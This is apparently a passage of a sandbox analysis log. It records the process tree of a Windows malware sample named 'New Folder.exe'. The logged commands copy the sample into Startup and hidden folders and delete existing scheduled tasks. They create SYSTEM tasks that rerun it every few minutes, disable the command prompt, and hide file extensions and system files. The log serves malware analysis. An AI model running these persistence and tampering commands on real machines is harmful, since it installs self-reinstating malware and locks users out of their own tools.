-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:800
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:436
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4476
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3388
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:3860
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:2620
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2140
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1688
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4772
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:2096
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4284
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1128
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:3084
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2220
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3664
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4736
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3972
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:1096
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:3512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4052
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:4528
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4516
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4844
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:768
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2252
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4976
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2572
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2648
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3860
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4972
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4400
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:5032
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4656
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:3928
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4812
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4016
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:640
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4088
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2072
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:944
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1240
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:1128
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4432
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:856
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2572
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2216
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4368
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4352
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4844
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4836
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:116
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1148
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2252
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:3380
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:632
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4084
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:2060
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4128
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1256
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1500
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3480
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1316
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4140
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4692
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3880
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2948
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4560
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4976
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2140
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3968
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4516
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:5092
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:2692
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:4680
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:2760
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3656
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3644
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4728
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2480
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:2948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:5080
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1764
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:1840
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1472
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:852
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:1348
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:3616
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:3928
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4744
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:372
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4132
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4092
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2664
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2736
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:3588
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:664
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4504
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3084
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3880
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1088
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:628
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1692
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4588
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:368
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1348
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:4564
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4604
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4132
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4728
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4092
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4812
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1796
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2936
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2928
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2120
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4524
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3952
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:3880
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4136
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3620
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4272
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:948
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2644
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:2192
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4028
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3648
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:1352
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4744
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:3912
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4860
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2060
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4084
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4728
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1500
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:2736
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3588
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:1420
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4376
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1908
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1676
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:628
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4400
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1292
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2644
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3656
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:3740
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3368
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4688
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4860
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3364
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:664
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2928
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:640
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4692
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4788
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:2532
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:5032
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2192
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1188
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3452
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3616
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:1352
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4996
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2164
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1844
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1500
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4880
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:2936
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1972
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2668
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3880
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:4560
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3472
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3324
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1096
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:960
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4516
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:3008
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4800
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2164
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4880
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3368
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4212
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4864
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4472
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4880
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3600
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4788
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2532
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2140
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2108
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:3512
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4516
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1096
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4284
-
-
